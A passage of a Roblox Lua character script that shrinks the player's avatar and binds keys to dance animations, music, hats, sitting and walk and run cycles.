rootpart.Size = Vector3.new(.4, .4, .2)
rl.Size = Vector3.new(.2, .4, .2)
ll.Size = Vector3.new(.2, .4, .2)
ra.Size = Vector3.new(.2, .4, .2)
la.Size = Vector3.new(.2, .4, .2)
torso.Size = Vector3.new(.4, .4, .2)
head.Size = Vector3.new(.4, .2, .2)

rh.Parent = torso
lh.Parent = torso
rs.Parent = torso
ls.Parent = torso
neck.Parent = torso
rj.Parent = rootpart

if torso:findFirstChild("roblox") then
    local p = Instance.new("Part", char)
    p.FormFactor = "Custom"
    p.Size = torso.Size
    p.Transparency = 1
    p:BreakJoints()
    local w = Instance.new("Weld", char)
    w.Part0 = p
    w.Part1 = torso
    torso:findFirstChild("roblox").Parent = p
end

mesh1 = Instance.new("SpecialMesh", torso)
mesh1.Name = "Mesh"
mesh1.Scale = torso.Size - Vector3.new(torso.Size.x/2, torso.Size.y/2, 0)
mesh1.MeshId = "rbxasset://fonts/torso.mesh"
mesh2 = Instance.new("SpecialMesh", la)
mesh2.Name = "Mesh"
mesh2.Scale = la.Size - Vector3.new(0, la.Size.y/2, 0)
mesh2.MeshId = "rbxasset://fonts/leftarm.mesh"
mesh3 = Instance.new("SpecialMesh", ra)
mesh3.Name = "Mesh"
mesh3.Scale = ra.Size - Vector3.new(0, ra.Size.y/2, 0)
mesh3.MeshId = "rbxasset://fonts/rightarm.mesh"
mesh4 = Instance.new("SpecialMesh", ll)
mesh4.Name = "Mesh"
mesh4.Scale = ll.Size - Vector3.new(0, ll.Size.y/2, 0)
mesh4.MeshId = "rbxasset://fonts/leftleg.mesh"
mesh5 = Instance.new("SpecialMesh", rl)
mesh5.Name = "Mesh"
mesh5.Scale = rl.Size - Vector3.new(0, rl.Size.y/2, 0)
mesh5.MeshId = "rbxasset://fonts/rightleg.mesh"

ls.C0 = CFrame.new(-.3,.1,0)
ls.C1 = CFrame.new(0,.1,0)
rs.C0 = CFrame.new(.3,.1,0)
rs.C1 = CFrame.new(0,.1,0)
rh.C0 = CFrame.new(.1,-.2,0)
rh.C1 = CFrame.new(0, .2, 0)
lh.C0 = CFrame.new(-.1,-.2,0)
lh.C1 = CFrame.new(0, .2, 0)
neck.C0 = CFrame.new(0,.2,0)
neck.C1 = CFrame.new(0,-.1,0)

bodyc = char:findFirstChild("Body Colors")
if bodyc then
    bodyc:Destroy()
end
wait(0.1)

skincolor = {"Reddish brown", "Brick yellow", "Pastel brown", "Nougat", "Brown", "Cool yellow", "Dark orange", "Neon orange"}
clothcolor = {"Bright green", "Bright red", "Bright blue", "Light stone grey", "New Yeller", "Really black", "Lavender", "Medium green", "White", "Bright Yellow"}


skincolorrandom = BrickColor.new(skincolor[math.random(1, #skincolor)])
clothcolorrandom = BrickColor.new(clothcolor[math.random(1, #clothcolor)])
function restorecolors()
for _,bp in pairs(char:children()) do
    if bp:IsA("BasePart") then
        bp.BrickColor = skincolorrandom
    end
end

torso.BrickColor = clothcolorrandom
ll.BrickColor = clothcolorrandom
rl.BrickColor = clothcolorrandom
end
restorecolors()

local LightForTorso = Instance.new("PointLight", head)
LightForTorso.Color = torso.BrickColor.Color
LightForTorso.Range = 7
LightForTorso.Brightness = 1.5




local slidecount = 0
local slidecountmax = 0
local anim = ""
local lastanim = anim
local speed = 0
local looking = false
local dancing = false
local superannoying = false
local barrelroll = false
local dubstepgun = false
local foxie = false
local durka = false
local saxguy = false
local heya = false
local jb = false
local bronymusic = false
local sheddy = false
local burndem = false
local global_wait = 0

count = 0
countspeed = 1
sine = 0
sinespeed = 1



humanoid.WalkSpeed = 11


local controllerService = game:GetService("ControllerService")
local controller = controllerService:GetChildren()[1]


local colors = {"White", "Really black"}

humanoid.Died:connect(function()
    for cframe_parts = 0, 100 do
        local p = Instance.new("Part")
        p.FormFactor = "Custom"
        p.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
        p.Size = Vector3.new(1, 1, 1)
        Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
        p.Locked = true
        p.CanCollide = false
        p.Anchored = true
        p.CFrame = torso.CFrame * CFrame.Angles(math.random(-36, 36),math.random(-36, 36),math.random(-36, 36))
        p.Parent = workspace
    game:service'Debris':AddItem(p, 5)
    coroutine.wrap(function()
    while wait() do
        if p ~= nil then
            p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
            p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
            p.Transparency = p.Transparency + 0.015
        else
            break
        end
    end
end)()
end
for _,v in pairs(char:children()) do
    if v:IsA("Part") then
        v:Destroy()
    end
end

end)


mouse.KeyDown:connect(function(k)

    if string.byte(k) == 50 then

        if dancing then return end
        sitting = not sitting
        if sitting then
                local ray = Ray.new(torso.Position, Vector3.new(0, -1, 0))
        local hitz,enz = workspace:FindPartOnRay(ray, char)


             if hitz then
        controller.Parent = nil
        humanoid.WalkSpeed = 0
            coroutine.wrap(function()
                while wait() do
                    humanoid.PlatformStand = true
                    if sitting == false then humanoid.PlatformStand = false break end
                end
            end)()
        rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
        lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
        rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
        ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
        rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)

              miniweld = Instance.new("Weld", char)
                miniweld.C0 = hitz.CFrame:toObjectSpace(rootpart.CFrame)
                miniweld.Part0 = hitz
                miniweld.Part1 = rootpart
            else
                sitting = false
                return
                end
    else
        if miniweld then
            miniweld:Destroy()
        end
        controller.Parent = controllerService
        humanoid.PlatformStand = false
        humanoid.WalkSpeed = 11
    end
end

    if k == "w" or k == "a" or k == "s" or k == "d" or string.byte(k) == 32 then
        superannoying = false
        barrelroll = false
        heya = false
        dubstepgun = false
        youpirate = false
        canttouch = false
        gangnam = false
        sheddy = false
        durka = false
        saxguy = false
        foxie = false
        burndem = false
        bronymusic = false
        brony_music:stop()
        fox_say:stop()
        spitfire:stop()
        heman:stop()
        justin:stop()
        jb = false
        durk:stop()
                restorecolors()
        burn_dem:stop()
        if hat then
        hat:Destroy()
    end
    sax_guy:stop()
        gangy_style:stop()
        cant_touch:stop()
        you_are_pirate:stop()
        dubstep_gun:stop()
        super_annoying:stop()
        barrel_roll:stop()
        dancing = false
        global_wait = 0
        LightForTorso.Color = torso.BrickColor.Color
    end

if k == "z" then
if dancing then return end
    if not sitting then
    dancing = true
    superannoying = true
    super_annoying:play()
    end
end
if k == "k" then
    if dancing then return end
    if not sitting then
        dancing = true
        sheddy = true
        spitfire:play()
    end
end

if k == "n" then
if dancing then return end
    if not sitting then
        dancing = true
        gangnam = true
        gangy_style:play()
    end
end

if k == "r" then
    if dancing then return end
    if not sitting then
        dancing = true
        burndem = true
        burn_dem:play()
    end
end


if k == "x" then
if dancing then return end
    if not sitting then
        dancing = true
    barrelroll = true
    barrel_roll:play()
    hat = Instance.new("Part", char)
    hat.FormFactor = "Custom"
    hat.CanCollide = false
    hat.Size = torso.Size
    hat.Locked = true
    hat:breakJoints()
    local hatmesh = Instance.new("SpecialMesh", hat)
    hatmesh.MeshId = "http://www.roblox.com/asset/?id=29873142"
    hatmesh.TextureId = "http://www.roblox.com/asset/?id=31467063"
    hatmesh.Scale = Vector3.new(.22, .2, .22)
    local hatweld = Instance.new("Weld", hat)
    hatweld.Part0 = hat
    hatweld.Part1 = torso
end
end
if k == "h" then
      if dancing then return end
    if not sitting then
        dancing = true
        heman:play()
        heya = true
    hat = Instance.new("Part", char)
    hat.FormFactor = "Custom"
    hat.CanCollide = false
    hat.Size = torso.Size + Vector3.new(0.01, 0.01, 0.01)
    hat.Locked = true
    hat.BrickColor = BrickColor.new("Hot pink")
    hat:breakJoints()
    local hatweld = Instance.new("Weld", hat)
    hatweld.Part0 = hat
    hatweld.Part1 = torso
end
end
if k == "j" then
    if dancing then return end
    if not sitting then
        dancing = true
        justin:play()
        jb = true
    hat = Instance.new("Part", char)
    hat.FormFactor = "Custom"
    hat.CanCollide = false
    hat.Size = head.Size
    hat.Locked = true
    hat.BrickColor = BrickColor.new("Hot pink")
    hat:breakJoints()
        local hatmesh = Instance.new("SpecialMesh", hat)
    hatmesh.MeshId = "http://www.roblox.com/asset/?id=19999424"
    hatmesh.TextureId = "http://www.roblox.com/asset/?id=20571982"
    hatmesh.Scale = Vector3.new(.23, .23, .23)
    local hatweld = Instance.new("Weld", hat)
    hatweld.Part0 = hat
    hatweld.Part1 = head
    hatweld.C0 = CFrame.new(0.025, -0.05, 0)
end
end
if k == "c" then
if dancing then return end
    if not sitting then
        dancing = true
        dubstepgun = true
        dubstep_gun:play()
    end
end
if k == "v" then
if dancing then return end
        if not sitting then
dancing = true
youpirate = true
you_are_pirate:play()
    hat = Instance.new("Part", char)
    hat.FormFactor = "Custom"
    hat.CanCollide = false
    hat.Size = head.Size
    hat.Locked = true
    hat:breakJoints()
    local hatmesh = Instance.new("SpecialMesh", hat)
    hatmesh.MeshId = "http://www.roblox.com/asset/?id=1028848"
    hatmesh.TextureId = "http://www.roblox.com/asset/?id=1028847"
    hatmesh.Scale = Vector3.new(.2, .2, .2)
    local hatweld = Instance.new("Weld", hat)
    hatweld.Part0 = hat
    hatweld.Part1 = head
    hatweld.C0 = CFrame.new(0, -0.15, 0)
end
end
if k == "m" then
if dancing then return end
    if not sitting then
    dancing = true
    canttouch = true
    cant_touch:play()
end
end
if k == "b" then
    if dancing then return end
    if not sitting then
        dancing = true
        bronymusic = true
        brony_music:play()
        for _,bp in pairs(char:children()) do
            if bp:IsA("BasePart") then
                bp.BrickColor = BrickColor.new("Lavender")
            end
    end
    hat = Instance.new("Part", char)
    hat.FormFactor = "Custom"
    hat.CanCollide = false
    hat.Size = head.Size
    hat.Locked = true
    hat.BrickColor = BrickColor.new("Lavender")
    hat:breakJoints()
    local hatmesh = Instance.new("SpecialMesh", hat)
    hatmesh.MeshId = "http://www.roblox.com/asset/?id=118186643"
    hatmesh.Scale = Vector3.new(.1, .2, .1)
    local hatweld = Instance.new("Weld", hat)
    hatweld.Part0 = hat
    hatweld.Part1 = head
    hatweld.C0 = CFrame.new(0, -0.1, 0.05)
    end
end

if k == "l" then
if dancing then return end
if not sitting then
    dancing = true
    foxie = true
    fox_say:play()
    hat = Instance.new("Part", char)
    hat.FormFactor = "Custom"
    hat.CanCollide = false
    hat.Size = head.Size
    hat.Locked = true
    hat:breakJoints()
    local hatmesh = Instance.new("SpecialMesh", hat)
    hatmesh.MeshId = "http://www.roblox.com/asset/?id=25266225"
    hatmesh.TextureId = "http://www.roblox.com/asset/?id=25266210"
    hatmesh.Scale = Vector3.new(.2, .2, .2)
    local hatweld = Instance.new("Weld", hat)
    hatweld.Part0 = hat
    hatweld.Part1 = head
    hatweld.C0 = CFrame.new(0, -0.1, 0)
    end

end
if k == "f" then
if dancing then return end
    if not sitting then
    dancing = true
    durka = true
    durk:play()
end
end
if k == "g" then
    if dancing then return end
    if not sitting then
        dancing = true
        saxguy = true
        sax_guy:play()
            hat = Instance.new("Part", char)
    hat.FormFactor = "Custom"
    hat.CanCollide = false
    hat.Size = head.Size
    hat.Locked = true
    hat:breakJoints()
    local hatmesh = Instance.new("SpecialMesh", hat)
    hatmesh.MeshId = "http://www.roblox.com/asset/?id=44410178"
    hatmesh.TextureId = "http://www.roblox.com/asset/?id=44410320"
    hatmesh.Scale = Vector3.new(.25, .25, .25)
    local hatweld = Instance.new("Weld", hat)
    hatweld.Part0 = hat
    hatweld.Part1 = la
    hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
    end
end




    if k == "q" then
        if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
        if sitting then return end
        looking = true
        rj.C0 = CFrame.new(-math.pi/6, 0,0) * CFrame.Angles(0, 0, math.pi/4)
    end
        if k == "e" then
            if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
        if sitting then return end
                looking = true
        rj.C0 = CFrame.new(math.pi/6, 0,0) * CFrame.Angles(0, 0, -math.pi/4)
    end
    if string.byte(k) == 48 or string.byte(k) == 47 then
                if sitting then return end
        humanoid.WalkSpeed = 18
    end
    if string.byte(k) == 52 then
        if sitting then return end
        humanoid.WalkSpeed = 6
        end
end)

mouse.KeyUp:connect(function(k)
    if string.byte(k) == 48 or string.byte(k) == 47 then
        if sitting then return end
        humanoid.WalkSpeed = 11
    end
    if k == "w" or k == "a" or k == "s" or k == "d" or string.byte(k) == 32 then
        superannoying = false
        barrelroll = false
        heya = false
        dubstepgun = false
        youpirate = false
        canttouch = false
        gangnam = false
        sheddy = false
        durka = false
        saxguy = false
        foxie = false
        burndem = false
        bronymusic = false
        brony_music:stop()
        fox_say:stop()
        spitfire:stop()
        heman:stop()
        justin:stop()
        jb = false
        durk:stop()
                restorecolors()
        burn_dem:stop()
        if hat then
        hat:Destroy()
    end
    sax_guy:stop()
        gangy_style:stop()
        cant_touch:stop()
        you_are_pirate:stop()
        dubstep_gun:stop()
        super_annoying:stop()
        barrel_roll:stop()
        dancing = false
        global_wait = 0
        LightForTorso.Color = torso.BrickColor.Color
    end


        if k == "q" then
            if looking then
        if sitting then return end
        rj.C0 = CFrame.new()
        looking = false
        end
    end

        if k == "e" then
            if looking then
        if sitting then return end
        rj.C0 = CFrame.new()
                looking = false
        end
    end
end)


game:service'RunService'.Stepped:connect(function()
    count = (count % 100) + countspeed
    angle = math.pi * math.sin(math.pi*2/100*count)

    if slidecount < slidecountmax then
    slidecount = slidecount + speed
    end
    if slidecount > slidecountmax then
    slidecount = slidecount - speed
    end
if global_wait == 380 then global_wait = 0 end

sine = sine + sinespeed
if not dancing then
        if not sitting then
            local ray = Ray.new(rootpart.Position, Vector3.new(0, -1, 0))
    local hitz, enz = workspace:FindPartOnRay(ray, char)
        if not hitz then
                ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + angle*0.05, 0, 0)
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + -angle*0.05, 0, 0)
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(-angle*0.28, 0, 0)
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, 0)
    if not looking then
    rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
    end
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then

-- idle anim

anim = "Idle"
if anim ~= lastanim then
    if lastanim == "Walking" then
        speed = 0.5
        slidecount = 1
        slidecountmax = 0
    elseif lastanim == "Running" then
        speed = 2.5
        slidecount = 5
        slidecountmax = 0
    else
slidecount = 0
slidecountmax = 0
end
end
countspeed = 1
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(angle*0.02, 0, 0)
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.02, 0, 0)
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(-angle*0.01, 0, 0)
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.01, 0, 0)
    if not looking then
    rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
    end
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 14 then
    looking = false
-- walk anim
anim = "Walking"
if anim ~= lastanim then
speed = 0.2
slidecount = 0
slidecountmax = 1
    if lastanim == "Running" then
        slidecount = 5
        end
end
countspeed = 6
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(angle*0.3, 0, math.abs(angle*0.02))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.3, 0, -math.abs(angle*0.02))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(-angle*0.28, 0, -math.abs(angle*0.01))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, math.abs(angle*0.01))
    rj.C0 = CFrame.new(0, math.abs(-angle*0.035), 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then
    --run anim
    anim = "Running"
if anim ~= lastanim then
speed = 1
slidecount = 0
slidecountmax = 5
    if lastanim == "Walking" then
        slidecount = 1
    end
end

looking = false
countspeed = 9
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(angle*0.4, 0, math.abs(angle*0.07))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.4, 0, -math.abs(angle*0.07))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(-angle*0.38, 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.38, 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.055), 0) * CFrame.Angles(-math.pi/8/5*slidecount, math.sin(angle*0.05), 0)
end

lastanim = anim
else
countspeed = 1
            local ray = Ray.new(rootpart.Position, Vector3.new(0, -2, 0))
    local hitz, enz = workspace:FindPartOnRay(ray, char)
        if not hitz then
        rj.C0 = CFrame.new(0, -0.5, 0) * CFrame.Angles(-math.pi/2, 0, 0)
        lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.rad(30), 0, -math.pi/16)
        rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.rad(30), 0, math.pi/16)
        ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, -math.pi/10)
        rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, math.pi/10)
        else
        rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
        lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
        rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
        ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
        rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
    end

    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(angle*0.055, 0, 0)
end
else
if superannoying then
countspeed = 5
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
elseif barrelroll then
    countspeed = 5
    sinespeed = 0.1
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.07))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.07))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(0, 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(math.sin(sine)*2.5, 0, 0) * CFrame.Angles(-math.pi/2, math.sin(sine)*4.5, 0)
elseif dubstepgun then
global_wait = (global_wait % 380) + 1
    countspeed = 5
    if global_wait < 249 - 40 then
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.27))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.27))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
elseif global_wait > 249 - 40 then
        ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.4, 0, math.abs(angle*0.11))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.09))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.09))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.075), 0) * CFrame.Angles(0, math.pi/3 + math.sin(angle*0.15), 0)
    end
elseif youpirate then
global_wait = (global_wait % 380) + 1
    countspeed = 5
    if global_wait < 79 then
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
elseif global_wait < 299 then
        ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.11))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.2, 0, -math.abs(angle*0.1))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.2, 0, math.abs(angle*0.1))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), math.sin(angle*0.19), 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.055+0.2), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
elseif global_wait > 299 then
        ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
    end
elseif canttouch then
    countspeed = 5
global_wait = (global_wait % 160) + 1
if global_wait == 160 then global_wait = 0 end
    if global_wait < 39 then
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, -math.pi/6, 0)
elseif global_wait < 79 then
     ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, math.pi/6, 0)
elseif global_wait < 119 then
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(0.01, 0, 0.17)
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
    torso.CFrame = torso.CFrame * CFrame.new(0.05, 0, 0)
elseif global_wait > 119 then
        ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(0.01, 0, 0.17)
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
    torso.CFrame = torso.CFrame * CFrame.new(-0.05, 0, 0)
end
elseif gangnam then
countspeed = 5
if global_wait == 180 then global_wait = 0 end
global_wait = (global_wait % 180) + 1
if global_wait < 89 then
    ls.C0 = CFrame.new(-.2,.1,-.1)  * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
    rs.C0 = CFrame.new(.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, -math.pi/3 + -math.abs(angle*0.05))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
    elseif global_wait > 89 then
    ls.C0 = CFrame.new(-.2,.1,-.1)  * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.sin(angle*0.1), 0, -math.sin(angle*0.1))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
end
elseif foxie then
countspeed = 5
global_wait = (global_wait % 380) + 2
if global_wait < 89 then
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, -math.abs(angle*0.2))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, math.abs(angle*0.2))
